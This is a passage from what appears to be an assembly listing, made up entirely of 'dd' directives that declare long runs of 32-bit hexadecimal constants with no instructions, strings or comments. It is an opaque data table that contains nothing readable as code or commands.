4A00B971h, 41C5689Bh, 0A5F916BEh dd 0A8277F24h, 0F4D47A70h, 0DAB4006Eh, 0CB0130F5h, 430CFDF0h dd 9036A54Ch, 41184A3Eh, 63AB9554h, 0C44AFEB9h, 11289F5Dh dd 0CCD4803Dh, 4BF6799Bh, 5AF88B0Bh, 60A0D4E6h, 517E8FBBh dd 1C2B433Ah, 297C9E83h, 9B8958B8h, 69D45639h, 9D89F098h dd 0EAB1E504h, 0B980EC59h, 41812DEh, 2A0CC65Ch, 6480C76Ch dd 4B38F20Fh, 0E15E04D3h, 0C08ED547h, 2E61168Bh, 0E4DC6BCCh dd 741464FAh, 81443115h, 0D78DA019h, 302BC861h, 0DB5DB15Ch dd 0F5642C0Ah, 0B78718C2h, 5E826D6Bh, 1C225D39h, 0BD7FC3F1h dd 66220008h, 736A7914h, 0CB04FD1Fh, 5EEBECB2h, 56AE0148h dd 9912B4DDh, 30A11AF8h, 4EF9F891h, 75E0BCB6h, 24025F7Fh dd 97B86BF5h, 26FCD6FDh, 1002DE7Ch, 5AF98246h, 741056E6h dd 18004546h, 6EB7E0A0h, 0B40931FFh, 7159C03Fh, 67A04A40h dd 6147A01Eh, 9C3E355Bh, 0EED002Fh, 2C6B6E05h, 7BDF024Ah dd 71E47491h, 38DC147Eh, 0EABCE27Ah, 22F68109h, 8388D07Ch dd 0A59E010Ah, 6920B7D8h, 0E16818ACh, 34B65EA9h, 0AA280E9Fh dd 6EBA9834h, 0AF1D7B8Ch, 31870309h, 0DEB08A82h, 15C4C2h dd 74ACA401h, 7B21C30Ch, 0F0598927h, 3E7627A4h, 90C47864h dd 20BAEE77h, 1395C36Ch, 30E620D3h, 0D4B521B1h, 6E037FFEh dd 96494E19h, 0E6E2E095h, 9B4C94h, 0C4E4F52Fh, 0B075800h dd 6D9A178Ch, 61510078h, 0B4189511h, 0E5001CADh, 311EEA2Eh dd 0E66CF3E3h, 6444970Eh, 0A1405600h, 2082BFBEh, 12847B41h dd 76F2DFDh, 79FAE12Ch, 0CDE48DEh, 0D8CD5DDEh, 5024E1A9h dd 3D3EC7h, 67EF2579h, 3F07FC80h, 8E5E8664h, 0C0478828h dd 5F845819h, 5C99860Eh, 0F2A75E1Fh, 0DB1CA138h, 6AB6D811h dd 957AC4CCh, 24563C0Bh, 0D404D6EBh, 7347512Dh, 67220B24h dd 4900FCE6h, 43E49A77h, 39AD717Fh, 0A6173C64h, 14E8E013h dd 0E062F338h, 50B69F79h, 0D18CB1E5h, 7070183Bh, 605948CBh dd 57DE2A03h, 0B10021DBh, 449952AEh, 0CE6609h, 0FF8E207Fh dd 7DBAAF30h, 20963427h, 880816C4h, 2D8202C5h, 573D3531h dd 55D4BAD5h, 0F3009CB5h, 7BE8A99Dh, 2C2BFBD0h, 642560E4h dd 0E2B0CD14h, 0B4543CA6h, 4CF72E00h, 775AC49Eh, 0A35D4BAEh dd 300DB2ECh, 623D3FD8h, 719C8B42h, 171CA2C6h, 0BEE8DEDAh dd 24F7AF9h, 0E494CA91h, 8C5EEAEFh, 7020DB2Fh, 0EC0EB073h dd 8BF1C13Bh, 4A47852h, 0D5CF944Dh, 9065AB9Fh, 306EEFh dd 50ABC89Eh, 2587BA8Fh, 0B059BE3Dh, 0AA35B241h, 62C3C884h dd 0E049BF36h, 81C0DCAFh, 0FF0928F3h, 7EB061C2h, 797254D1h dd 0B638D07Eh, 80BA5BC5h, 3C38B195h, 0C0AE4C10h, 0B030310Fh dd 765839E1h, 0CBD29C40h, 9C5206F7h, 3915B259h, 750078A4h dd 129555E4h, 718459Dh, 28357952h, 0B5CB400Fh, 7C969C33h dd 0E16DF461h, 8F34442Eh, 0E87F0B33h, 1580F284h, 0B859E253h dd 7C228804h, 8034B89Fh, 39B142B2h, 0A66E14E3h, 3F010CDAh dd 4AA3772Dh, 7CF2F4AEh, 17C0EA48h, 94B840B0h, 45C4C00h dd 866AE3Eh, 1E09E226h, 28959E00h, 2D4A2973h, 8D1D9CFh dd 5B20DCB8h, 7CEDC0F4h, 0A8DCD25Ah, 6BEB1244h, 11B4FCB0h dd 881473A5h, 0CD688528h, 40740803h, 3EBB5480h, 532A81h dd 0D8D4798Fh, 2FECCED0h, 4B10131Eh, 3088F3D7h, 0F6B11354h dd 9E840057h, 619DC211h, 0FD8A995h, 0FA716314h, 0C4100937h dd 0A8ABBBA5h, 5449054h, 0B6626D41h, 0B7C9863Eh, 71E0DC51h dd 53C516C4h, 1090ADEDh, 6709331Ah, 685634F8h, 13BA8DC2h dd 0F5A8C2D7h, 1F134C76h, 0F40084E2h, 5B27F3DFh, 0B70004FFh dd 29C9D133h, 98613BA6h, 0CD720FCh, 945AC2Dh, 70707B98h dd 0C01D047h, 5C649328h, 0B2E209Ch, 2837FE04h, 0EEA8EA00h dd 0B2BBB5DEh, 0F6714B64h, 4460E7E0h, 0B05CCB5h, 0FEF2BCB9h dd 0AC07E437h, 938880BBh, 9D440307h, 0C6A01D2Eh, 2A021656h dd 9FBA0617h, 1220DE31h, 0E0E4A891h, 4E0A4A6Dh, 0B224A33Dh dd 0F3DA3048h, 73088B01h, 5FF12AC1h, 0B858D12Bh, 0C57C386Dh dd 0D8C76EB7h, 95114286h dd 0A8370C92h, 0BD935583h, 2058BEABh, 34980D72h, 0B817A40Fh dd 2FCF8356h, 0B7080C54h, 57E09553h, 738A10CBh, 7943702Ch dd 81E0C838h, 0ADBE9F46h, 903AF1CFh, 93A43224h, 37D89D05h dd 0C422D9A2h, 0C54507BCh, 2B5489B5h, 0A15FF420h, 3D72504h dd 5B106CC5h, 0BCA4A8A4h, 0FE028C0Bh, 0AE5E1C6Ah, 10D85273h dd 0C754671h, 313DB9D8h, 80689E7Dh, 76D284F9h, 80072988h dd 18CFEAFDh, 40A8762Bh, 240A565Ah, 3C8ABC07h, 600FCDC8h dd 0DF98546Dh, 889008Ch, 0E40CEAF1h, 2A120F73h, 0C4A91C6Eh dd 3AE4C2D3h, 4D2D50FCh, 1606C080h, 0EC04B9FCh, 0E8E611Bh dd 142872ABh, 0FF193502h, 4E0004BDh, 0A054F255h, 407B4FF5h dd 0D47578B0h, 0F00680Ch, 3EABE05Dh, 1E9D3F72h, 0C56B139Fh dd 0AACAA2F7h, 8A56F828h, 0B7709853h, 13B600E8h, 0F1256574h dd 53492C5Dh, 30BC6Ch, 52AC7948h, 0E85C7A5Fh, 0A884FA4Bh dd 3C23942Fh, 0C682991Dh, 0D5922A6Ch, 64B280A1h, 0B40E2EDFh dd 5EEE0166h, 210815A1h, 0A0F67D89h, 91F15AACh, 24A9B04Ah dd 8F49F98h, 8712287Eh, 5EC1B4ECh, 3FEC67B6h, 0B84290DDh dd 0C2262714h, 6C760E5Ah, 12E45788h, 178CA8C5h, 10ED0A18h dd 16EE20B9h, 9B3A6803h, 4F057BB4h, 23302F48h, 9D69000Eh dd 229B6456h, 382A3902h, 40C0F190h, 1DEE4E94h, 0C00FDA66h dd 0A76AAE81h, 0F33D1AB9h, 0D040CEB6h, 8C31A12Ch, 0EE27FDCh dd 7E259AB5h, 0F1FCE02h, 615481D5h, 54DECD64h, 0D0465EC4h dd 0E9BA7C00h, 9E526CCFh, 1457205Ah, 0B060C0E5h, 889B4AEAh dd 0A308D830h, 0A1A1CD6Eh, 18D2713Ch, 0C4A05CD4h, 0AB94D45Fh dd 8603886Eh, 835E4E9Eh, 6AEBE8C9h, 455B40CCh, 3C203B11h dd 1DE982FBh, 7652F33h, 0FCCE9F89h, 3E1E5399h, 8079027Bh dd 1313447h, 2DE8374Ah, 545BD287h, 914015A7h, 0BA7A803Eh dd 0BCC28DA7h, 0D64A0B60h, 2056A012h, 19C6641h, 7037FFCAh dd 0C0C12E8Eh, 0C5F00385h, 5CBD04ADh, 8A102FA6h, 0A2DC43A8h dd 208B31D3h, 0D94A53D0h, 0B70694B2h, 0C0DA158Fh, 3451BE09h dd 5C9C729Dh, 0F047516h, 0AD48FA27h, 24E20E4h, 51C29F83h dd 9A2004DAh, 0E25CFB07h, 49BC0F29h, 4B0068B9h, 156E01DBh dd 0E8797225h, 0A22C14h, 5AA80BB1h, 32FCB4BEh, 9F6EF512h dd 21320C8h, 0B2AD47DCh, 984B06D3h, 0E5E8F6D0h, 465E58BEh dd 0BCD105D3h, 0A8A12BC5h, 0E6BC302Ah, 0F74D23BDh, 284B0544h dd 64AC77D4h, 686E5Fh, 60CAF128h, 2E5AB54h, 0F2C73157h dd 9AD70B30h, 688F5734h, 4FF41390h, 0DEC020DAh, 9E6808D6h dd 0AE4FA0E2h, 91962889h, 30A222h, 8A1BA507h, 5FB659Eh dd 55037F64h, 2C28AA45h, 0D9F1C63Bh, 95014912h, 258346A7h dd 0ECE3D6F2h, 76482CABh, 17FC8185h, 0F6D51923h, 44C45109h dd 0F30D2C03h, 210E299Ah, 0BF1E1803h, 0D482494Ah, 41C45667h dd 6BA69E33h, 0F18088DBh, 3479B1BFh, 0C4EEE013h, 0BDA050B4h dd 0E95C9444h, 87640046h, 68D4D0Dh, 709C090Ch, 98593FF8h dd 2CDF3645h, 2DE95980h, 0A1001E67h, 416D43F5h, 4B99A832h dd 10908EDBh, 5E052FEEh, 0FDE53B9Eh, 54A8D234h, 886EFBC0h dd 0BD5FAFB8h, 98F34C17h, 23AC2F5Bh, 0A374013Ch, 7E2A6F05h dd 0D5EBD492h, 9065DC10h, 0DF633F8h, 0D9AE8300h, 6CF9DFEEh dd 940E01B3h, 9B91A0CBh, 0C4747EFBh, 0B88E0CBh, 0A2495BC1h dd 2B80E078h, 3E055FB1h, 0F3393Ch, 320E26A7h, 161F7A43h dd 0A47C71E1h, 0DA0062A0h, 1B85D0D7h, 2D6E55FAh, 0DC50E4A4h dd 64CC67BFh, 0ED9E60E0h, 6CE80928h, 0BC82EE9Bh, 0BC94DE21h dd 9D202898h, 67F318CDh, 9819C12Dh, 65DFF525h, 560CAEA0h dd 0E8004546h, 0C11B5FFCh, 5817FA81h, 24A87ACFh, 23603AD3h dd 0A18400D2h, 0A567BFA0h, 0F2FC5095h, 0C1C14A1Ch, 3F712278h dd 0A8010440h, 3A5AAFA7h, 834BE2AEh, 38C269B8h, 93C65E01h dd 957C0478h, 10366899h, 1C2E641Fh, 80AA8AAEh, 66D51457h dd 0FE26DB4Fh, 0D709ACE5h, 5AB454E0h, 0EA0357Dh, 0C5A07E45h dd 0F49CBD41h, 64F2E44Bh, 0F2F3DD05h, 0C558BC5Fh, 0CE33411h dd 18008851h, 0BF659FB9h, 0F05CE807h, 5DF2C681h, 83E7E1C5h dd 90E8B484h, 0D06813DEh, 0C58B0D34h, 44D0CC4Ah, 59AE4Dh dd 9EFD0508h, 1EB54E77h, 0CC57F21Fh, 0CA31BB85h, 0A5E423C0h dd 934B267h, 22AE799Ch, 0C5E07854h, 0B656326Ch, 2831668h dd 3E3DFE54h, 8000B7FDh, 0B95238A6h, 0AF086DF0h, 80D9CEB3h dd 7909C957h, 84019B62h, 0B2EB0B47h, 812FF74Dh, 2A888F90h dd 0F92A5CCAh, 10379F84h, 53ED0300h, 94F63BFh, 619BEAB5h dd 51DC245Fh, 705824F8h, 0C1F5201h, 2FBF9DBDh, 4282C871h dd 5C35FF04h, 20EE3065h, 0FA1AFEF0h, 1DCB3B0Eh, 0F1CE22DCh dd 8814633Ah, 15E02812h, 0B4B99CD1h, 960EDA10h, 0CC236C2Eh dd 8074C100h, 257914E2h, 0E0659A9Eh, 3330708h, 0BA75B201h dd 0FD34C19Ch, 64F72ABCh, 6EF385A0h, 97944D04h, 0B8FC1DF2h dd 21408D8Eh, 7E471EECh, 0EEA39600h, 74E46934h, 255C98EDh dd 1C23B4D8h, 3900EF7Ch, 0B20721EBh, 1118C1Ah, 0B5FF0DC3h dd 2BE2699Bh, 70812C85h, 1502ED37h, 26F8310h, 68B9D8DAh dd 0ED55FEE4h, 7C0C619Ch, 0D22CDC2Dh, 678C0297h, 0A59E02F1h dd 6037DDh, 0B0DD9CD0h, 4295C9BEh, 44757E4h, 7160DDC4h dd 93A8A79h, 9BD81EFCh, 3711D02Ch, 280BB3Ch, 60EDFB9Dh dd 0EC04B4D0h, 0A0347E83h, 840032ABh, 5090F31Ah, 3103C57Dh dd 0CE833D8Eh, 6DB7E14Fh, 0AC52D080h, 4178E171h, 764A62F2h dd 0F5128E0h, 0C10369A0h, 4854EC89h, 0DFAE03DCh, 74C731C3h dd 0ACBFFDF0h, 287CB498h, 58045895h, 0A5800C7Fh, 0A2B7E255h dd 48468A00h, 2E0870ECh, 1C619F30h, 0C392072Ch, 0F010FFC4h dd 59038C1Ch, 0A9C2D97Ah, 0F5A804A4h, 0F4B8D814h, 6402CD5Ch dd 0BA994698h, 2F807EEAh, 0AF70BCDBh, 22091495h, 3C481C69h dd 5BF36B0Bh, 0C0550412h, 0BD17B304h, 40E1F8CDh, 0A0E03D06h dd 988DE871h, 0AE5E0950h, 5CA5EAE7h, 0B860A995h, 0D3FE00FBh dd 0D60C4A9Bh, 7CF96113h, 810264Ch, 255CBB02h, 0C01455CEh dd 64F3095Bh, 1930CFE2h, 769019Eh, 0C50466A1h, 0FF2BFC02h dd 0BE5EE704h, 9120CABh, 0D849624Ch, 203DD9h, 0D1F9478Fh dd 0CAAF19h, 2C1605FCh, 0D550E8EFh, 9E9DC201h, 0E3DFB5B6h dd 66749C6Eh, 0C030D800h, 0FF7C4CD7h, 0D49695D9h, 62555420h dd 2733304Ch, 0C7F4CD5Dh, 9FE7E223h, 5D784255h, 6700103Dh dd 5657321h, 0AC3158A9h, 0CB836905h, 84ADCCh, 0A521F89Eh dd 1236C386h, 0BC843129h, 8C47F810h, 0DD5D3A00h, 37871AE9h dd 0CCD1971Dh, 61FA700h, 98803E62h, 16AA2010h, 0EC724E2Ch dd 51928429h, 0B860B8B6h, 0F197E488h, 78E3C94Fh, 2830DAB2h dd 0BF52766Dh, 72587C01h, 0B8357F16h, 9445010h, 77A7E408h dd 4873DC8Bh, 53F6778h, 9FDC01Fh, 4404BA52h, 0BB21393Eh dd 127C00D5h, 0B84897E6h, 76C4A50Bh, 8CAA9934h, 29405A54h dd 367B2587h, 458A6C90h, 0F1282000h, 0DCD6F4C0h, 2F6B00BEh dd 0D75E0E1Bh, 350F78F2h, 0D8CFA65Ch, 18453170h, 0F963AFD8h dd 0A688ED7Ch, 27900017h, 57F63B9Bh, 9D1AB61Dh, 5438E1EBh dd 75B302FCh, 0B2556BD6h, 87DC2E34h, 0C4842F7Fh, 0F858F0ACh dd 5136F1C0h, 0A3005881h, 37AB9EB1h, 61ED1EFh, 61F2D201h dd 3300D130h, 0FABC9FAAh dd 260DFADh, 966ED9C5h, 0A5F79832h, 78E9CE0Ch, 0A49EB00h dd 0BA7B0810h, 0F274013h, 34EAF404h, 28440C0Bh, 0B0799C3Bh dd 0AE5C1813h, 0D9EE648Fh, 4EC4D870h, 4A76727h, 49AB6F90h dd 24720B24h, 0E8011F45h, 7E010CAEh, 9FC18079h, 0E25A6EE3h dd 38B09F0Dh, 0B90082A1h, 98662E96h, 2EE61h, 99271D38h dd 67510939h, 0E40C864Eh, 12C91C4h, 0F91E90B1h, 57B5B7AFh dd 4D16F080h, 1D12A8B2h, 25BF9C88h, 35C81ECh, 1C7C03DDh dd 0CB711579h, 80677268h, 67604664h, 0F000C64Ah, 80175B3Fh dd 91953473h, 2A0D0250h, 0B9010C66h, 5C630597h, 0ECFB5827h dd 901C858h, 586AF59Dh, 0E80F1044h, 80E497AFh, 74931843h dd 0D42A4CE6h, 911A2213h, 0ED231Ch, 0C2DE06ACh, 411E5AA1h dd 0C273AF01h, 803CDB2Fh, 0AA346B95h, 0F2BC00BEh, 4D8C64FAh dd 0B3FA0F69h, 3A1DFFE8h, 0F0F25720h, 4B4CD245h, 0BF88F0B9h dd 74A2065Ah, 94303CF2h, 0C4AB4A9Ch, 688EBFECh, 0B9C0D2C8h dd 0B5A03404h, 8669491h, 4189F831h, 8E1F7D2h, 8879D8D3h dd 0C46ECE25h, 0C3D0A120h, 0C8F0DA3Fh, 87CFC40Eh, 4073F014h dd 0BA09A617h, 0FEBCC5A7h, 534F5EF4h, 0D000E0E2h, 0AF34BFF8h dd 98241033h, 45824059h, 7853B5BEh, 0C19F2504h, 5F11EC65h dd 0E5B03109h, 284CD8C0h, 7E58E390h, 80DB9208h, 195BC8Ah dd 518DB2A4h, 0E4CC3F53h, 28A05833h, 0A28F380h, 0ED9DC572h dd 0E53DC064h, 6D7B85D1h, 143CC64Dh, 8B909733h, 25205EF5h dd 4810F847h, 0A18C0BFCh, 282BD73Ch, 1843EFF0h, 2B3048E2h dd 3CE0B08Fh, 4B2E17DFh, 23D409A8h, 0F7529856h, 0AFB78021h dd 46D864C1h, 775EBDF2h, 813CF402h, 4B4DC8Ah, 0C74BB701h dd 123A7408h, 2F5E84A0h, 8C808F9Eh, 0FEE4CB94h, 0DDED1201h dd 56A21F9h, 8838CF3Eh, 0F738E1D0h, 14E22B6Ch, 6C79D1Eh dd 0C9EF544h, 8BF8083Ch, 0F3B8A681h, 18DA51F4h, 4C464020h dd 0DB6AF362h, 40B55544h, 0D0830B91h, 0B4B2331Eh, 0A6072CFAh dd 7D5357C0h, 7DAA81BCh, 9FDC0072h, 0CC075671h, 0CF0006F4h dd 1393A086h, 0FA41120h, 3C0D62A8h, 528F6EE0h, 0D82E1AC5h dd 89C1F8B5h, 7C708588h, 584140F6h, 0B466B7h, 5E7E5A4Ch dd 8F7398E7h, 75CE3C1Fh, 7D454D44h, 46B070FEh, 9B6F3414h dd 5C1E8161h, 0A1F7F3DCh, 0F1899DEAh, 0B411E69Eh, 0B82F2E0Fh dd 1133E23h, 2D280F8h, 0F2FCCD24h, 13546657h, 0FDBA3D87h dd 20E0D3FCh, 4A19C2C7h, 20EA2366h, 0BD55EF09h, 48060030h dd 4C90A2D3h, 9DE801ECh, 9BD84495h, 3027824h, 4D87345Ch dd 6C5324h, 0A7D9A02Fh, 1E994903h, 1EC86825h, 459E57Fh dd 70707BAFh, 0D49031FAh, 53134F2Dh, 0A60CBE74h, 691911E3h dd 7C3DA225h, 0D346768Ch, 0A350C331h, 0EC9C01F9h, 2A589D6Ah dd 823082Bh, 84374D0Bh, 0CD4043BCh, 0E4FD9395h, 77F95600h dd 0F3B034B7h, 0EAA30117h, 0A1AE4D2Ch, 45C060A6h, 0DDA40100h dd 0E39E5C0Ah, 0F488C112h, 7C2F216Ch, 8C0CBC90h, 4629A800h dd 15EC8DF1h, 9E342707h, 9A838468h, 3781381Ch, 0B3686158h dd 6A22290Eh, 0A3D804A4h, 3485AA4Dh, 46F8D0ECh, 3A10008Ch dd 0CD6257B7h, 594AD980h, 0DC4882h, 0F2F7694Eh, 6483404Fh dd 14883965h, 0B2660693h, 3311F2C0h, 0E9D55BE0h, 0AB255904h dd 88ABB040h, 0BA7C4CACh, 0E2415801h, 5ABDCE63h, 3EFCB52Ah dd 0E1C0ECDBh, 0A830393Ch, 0F4D9BD01h, 66F2FB9Dh, 0C23DF43Dh dd 44D9D50h, 3465C3B3h, 3027EA24h, 607EB900h, 0CF8412EEh dd 3474AC1Dh, 0C407B16Eh, 8BDC521h, 8B0D208Dh, 72298850h dd 3120A8E3h, 0AA280E36h, 18800510h, 9D431E52h, 2ECD1C39h dd 2F18184Fh, 4637E007h, 5B60370h, 6AC51D8h, 0AC04F959h dd 9E79045Eh, 12187281h, 0ADD358B2h, 3B01B8D4h, 0DA18A931h dd 674E191Ch, 160DE200h, 945EA584h, 0B9CB04A7h, 0AA0C2C6Eh dd 88276028h, 801364FBh, 0BC8203EAh, 0D3FE093Fh, 6EFE2035h dd 0DF007194h, 5FE5DCB8h, 1F91DD2h, 36B7160Ah, 2A23E604h dd 322134CBh, 0F5C51D60h, 154120E3h, 102445B5h, 82CCB1F9h dd 211A299Ah, 3D8A1803h, 34A0495Ah, 0DC1097AFh, 0F3245CE6h dd 465E7CFEh, 8402760Dh, 7CEBAF14h, 7650E4D6h, 0FF37008Fh dd 0EF6312F7h, 6902F6ABh, 0F4E683B5h, 0BB46145h, 7CFB00FEh dd 22F848C2h, 8C7195h, 2628009h, 0B100C3C6h, 0BA8F2BEDh dd 1B598DDh, 0A84D9465h, 2B87C2C5h, 0E4045CB3h, 34149833h dd 4DC6ABBh, 1A4AF595h, 0AF1C09BEh, 71592014h, 8F8D4h dd 0ABE9EAD3h, 0CE65E320h, 0A619D09h, 83D45344h, 3C92699Ch dd 70301827h, 31F22058h, 6F219098h, 0F0EF2FD9h, 0BABF20C3h dd 3C64E07Eh, 0E1AB1E46h, 8EE55331h, 0C23D88ECh, 755692h dd 4BC9BD08h, 0CE05025Ch, 0E3B22815h, 7182C58Fh, 5C9D3779h dd 7580CB91h, 8DF2D58Fh, 2BD98409h, 94B081B0h, 77068C7h dd 7E520BC2h, 98FE0F08h, 0A8E24EDEh, 59722D46h, 8DCACD0h dd 0B7090A42h, 60805651h, 0B871B031h, 5C9C2687h, 9E0F4546h dd 0E4209F27h, 7B770238h, 811BE309h, 7C782B62h, 583769CCh dd 83C0389Fh, 0A2FBAC56h, 14885898h, 1B6A2A0Ch, 4D34AFE1h dd 0F8ACD0BDh, 1A792404h, 6857EF15h, 0BA6DE830h, 670538C4h dd 745B1D25h, 48B5A7h, 54343372h, 47015D50h, 9FBA9D5Bh dd 9086BBC9h, 313265F3h, 88CD2AE5h, 81B0DB2Bh, 7870946Eh dd 0FD59D2FBh, 0C59290B7h, 21932C02h, 0F046756Dh, 0CEDDCF25h dd 0A5E40B24h, 44EE0D4Fh, 5FBE5E12h, 90C68CF0h, 10B40A0h dd 73E0A82Ch, 0B0B61F17h, 0F98ED2F0h, 0DD0B2905h, 6BAB2F4Eh dd 1CD12350h, 3B9481DBh, 7947D259h, 0D8FB107Ch, 257FB44Ch dd 0B4593765h, 74A31345h, 6430CAE2h, 48C70061h, 0D0CF9D76h dd 5309438Eh, 60C6699Eh, 0B783060Ch, 0F49DB010h, 5646A900h dd 0C9733BDAh, 0BB993C4Fh, 0C4952880h, 0AF4CEB7Eh, 528C2709h dd 9C8840CEh, 3ADA2661h, 28DC52D0h, 0C2383640h, 0CC8E4B49h dd 81391E18h, 0A4E4CE2Eh, 40FE6982h, 91301F5Fh, 0B8B0810Bh dd 72CD01A2h, 60C0C86Fh, 0E80E9978h, 9D69EC67h, 0F225ED40h dd 1CAF539Ch, 0D32081B0h, 234C4B1Dh, 0C5E95856h, 60106414h dd 0FE42012h, 3F1F2BFDh, 0BC667FC4h, 2225A248h, 0FCE4B1D8h dd 5EC49E27h, 0C14508E8h, 75AA1F12h, 0A8D4BD80h, 0D8506C6h dd 8027AA52h, 3EBCEC4Ch, 0E2872D5Ch, 3C1ED5C0h, 0D2713C99h dd 8309BB18h, 78B861DAh, 1C539744h, 8B0358h, 27B34726h dd 0B1E22FFCh, 58E01700h, 0EAA66ED4h, 0F064959Fh, 72A3D802h dd 608357B9h, 1DC38EB4h, 6DEEEFADh, 944C2840h, 0A921A304h dd 9484799Bh, 1228CB4h, 97B68D83h, 641446CFh, 18411260h dd 0DBAC132Bh, 67D28F78h, 8BE2D995h, 1505A83h, 31EA3FB2h dd 6E0F1FE7h, 10C4F410h, 0FB0413FFh, 0A08D5B82h, 872DBA38h dd 5EBCDA71h, 0C0B89BFDh, 5CC56B0Dh, 0F21F26A6h, 0ADF36EA8h dd 398E8C8h, 636D6025h, 0DE985478h, 8F08B7CCh, 1117CDA1h dd 80D53CE0h, 9BF874B8h, 2C5A71A7h, 7CBA99h, 0F2A481B1h dd 0EC09F1ADh, 601EB22Ah, 4E1B43C4h, 0A37CA808h, 0E12C4D9h dd 0C1394220h, 383330h, 374F5DE5h, 3AA05795h, 0B8171648h dd 0D2B4FC4Eh, 7086EBFh, 0DD9CFA44h, 0D0F22423h, 0C33B2262h dd 0F3D1D950h, 207D802Dh, 0D66621B0h, 0B8852F67h, 6C753870h dd 0BC490A3h, 40C4FE71h dd 0D0E58819h, 2DFCC99Fh, 3D308115h, 0ACC86ABEh, 3A3045C0h dd 0D923582Fh, 34B1A001h, 0CD2AF945h, 107FCA14h, 878FE0h dd 39C9E156h, 0C72F1E68h, 0B216BF7Ch, 54A9886Fh, 235C3A96h dd 0BAE013Dh, 2B36699Ch, 74FC5013h, 72C7B4Fh, 74667E6Bh dd 0F9C2FE92h, 18CB7920h, 0F2A8002Ch, 0C13751D7h, 6701FC2Eh dd 32C33F08h, 68291FE6h, 264A0704h, 8D18F440h, 41CBD644h dd 24D1CA31h, 39337F80h, 120C42A9h, 47759018h, 0D5E77690h dd 0D031EB94h, 0CC000E4Eh, 160445E4h, 0BE5597B8h, 0F55D2400h dd 0F624C9F3h, 6D092881h, 44647288h, 0AFC9E52h, 18C214Dh dd 4A6F5C9Ch, 588C1DDAh, 15299E33h, 528599Fh, 7BF25Ch dd 58B0B944h, 9B4A36CBh, 0BC4458B1h, 3C0E20ADh, 4A900659h dd 5C1C70C0h, 0ECD00EBh, 1361B29Fh, 61EE5B5h, 7D01966Fh dd 14F2093Ch, 5ED0C83Bh, 4FF9E13h, 4E7E7840h, 25699DFEh dd 0F8D2441Ah, 76E69320h, 0B9E00996h, 0CC50918Fh, 33A76703h dd 0C855A2B2h, 2797FEFBh, 0CCC99634h, 0C3608846h, 799C02EEh dd 78E84116h, 0E540DEDAh, 6F7B0422h, 88AD9FB8h, 3B4458BCh dd 693C0C80h, 0C384986h, 6816A404h, 22AB210Eh, 6F2E095Ch dd 4211E82Ah, 7220D0ADh, 9521B018h, 0EF6DA804h, 9420FC89h dd 0E7DD44F5h, 269E5A88h, 218F005h, 46EE6136h, 1B257852h dd 6B20F411h, 0C0507C7Bh, 0D7A81201h, 0D770AC76h, 482078E8h dd 1D7F2E17h, 2110BCEDh, 866712CBh, 7BC2DD0Bh, 0EB187028h dd 0DA3DE0A0h, 48A484A4h, 449E55F0h, 75DC465Eh, 0B2915C00h dd 8F338A79h, 68CC48F8h, 8CFEE380h, 0BE026A87h, 9BD8983Dh dd 3C9E556Dh, 91DC17BDh, 0CA009CE1h, 41D0AC99h, 95730131h dd 0B0220759h, 45DC741Dh, 0A0BDB63Eh, 2CC4BFECh, 7094F39Fh dd 0F62EDF11h, 0E60860BCh, 9D093A17h, 0B87F0CFFh, 33A5DE80h dd 7119ED8Bh, 0C9E712E3h, 9CB757h, 45B24964h, 5908F727h dd 80D8CE1Ch, 4D65FFAFh, 0B103C614h, 3D546E13h, 9CBBD04Eh dd 0EC66394Ch, 8308260Bh, 9F54B054h, 0FEC0486Dh, 229086F7h dd 60B56D21h, 80DCF378h, 3E2D8196h, 44A0642Eh, 0D827465Eh dd 258C46B9h, 64F443C2h, 8A70E1C0h, 0A4F4ED20h, 0AE1E00F4h dd 1BFBBBCh, 2B03DE88h, 51B168F6h, 0B3485FADh, 31DAB28Ch dd 0E098405Fh, 11028918h, 0E5CEAE4Dh, 8C9A5583h, 0C0786D7Dh dd 4D4EAFE9h, 97E50F04h, 88FA71C6h, 0F20047C8h, 2254FE09h dd 396BB190h, 8A02D542h, 0CDC710FAh, 0A086A560h, 3CB2CC5Ah dd 4FCBD88h, 0AA46070Ah, 0A29CB8E3h, 905D294Bh, 3D8FA974h dd 73810ACBh, 51B0306Bh, 28C28B2h, 3757B62Ch, 0A894FFABh dd 4082EAF2h, 0B11E0674h, 0E0EF1E30h, 28F2F50Bh, 2CD8540Ah dd 0BD6908D0h, 2F866605h, 0FCE078F6h, 0BF0746F0h, 0D2E24AC6h dd 48FF7095h, 5CA52CA0h, 0A17E4080h, 0F0F524C0h, 5BECD809h dd 590E8801h, 716CBD18h, 61F345F0h, 0DDE7315Ch, 0D48D6AD1h dd 40912830h, 0B6F8F7CDh, 11F83759h, 7B07E894h, 199E82BBh dd 25D2042h, 556EC37Ch, 9640CCCFh, 331C7012h, 721918DBh dd 0C0E0C8FAh, 9A132082h, 44F9E4D9h, 3881617h, 5DB0740h dd 0EDBC3100h, 0CCB49CCBh, 3447DD6h, 2C5B6238h, 27C83FFEh dd 0B802FF35h, 0A5D1D5Ch, 0AF9056F4h, 0C1007CE4h, 0E45F9E56h dd 42A4ABEh, 327E80Dh, 9081AFAEh, 704B8B0Ch, 0DFCA0888h dd 0DEA67F01h, 0B32F33AFh, 613E096Ch, 8492FFA2h, 0CDBD5C70h dd 0E100EEE0h, 0DEE0B8D7h, 44125524h, 9C35108h, 2C4230CDh dd 0DCC0D6h, 28EDB1FEh, 9F3451C9h, 10F4E4BDh, 250C3A52h dd 26459B7h, 62B80146h, 80B0C65Fh, 9706A0A4h, 64BF6009h dd 0A334CB00h, 247EFA9Ah, 8CC3AB3h, 9924726h, 2C4968E3h dd 5838D7BCh, 0FBBFAF9Dh, 0E415A7FCh, 78801191h, 3533ABBAh dd 45199C01h, 3F9B954Ch, 95ED1AECh, 0FB2780F9h, 0CCDCA54Ch dd 5F771CD4h, 6D418252h, 18544D5Ch, 20B52F4Eh, 78C0D2DAh dd 809D00A6h, 66B77E09h, 0E490A9DEh, 0DB3FD002h, 77196D5Eh dd 0FE02BC37h, 5DEA2FD3h, 1F182410h, 25A8F300h, 0ABF4CBD8h dd 0ADF0761h, 702C8114h, 0AD6AAF4Dh, 93281604h, 0C4BFD25Ah dd 5C3AAEE0h, 1B00CC23h, 30EC570Bh, 0E91C0268h, 10322A0Eh dd 0E4484D55h, 0C00662DAh, 8A0CB1F8h, 8740D85Eh, 0EA95C27h dd 66F2D144h, 76C0DFA0h, 0AFFE8579h, 89176E03h, 3E57122h dd 0F40B5CB1h, 0D7E0F34Dh, 0D3B0285Fh, 0B24F14ECh, 5099E802h dd 79985149h, 723618D0h, 5ECECB5Dh, 0F99F3CD2h, 2E97003Ch dd 993F057h, 0F873E000h, 0BB4B1453h, 0E4A176Fh, 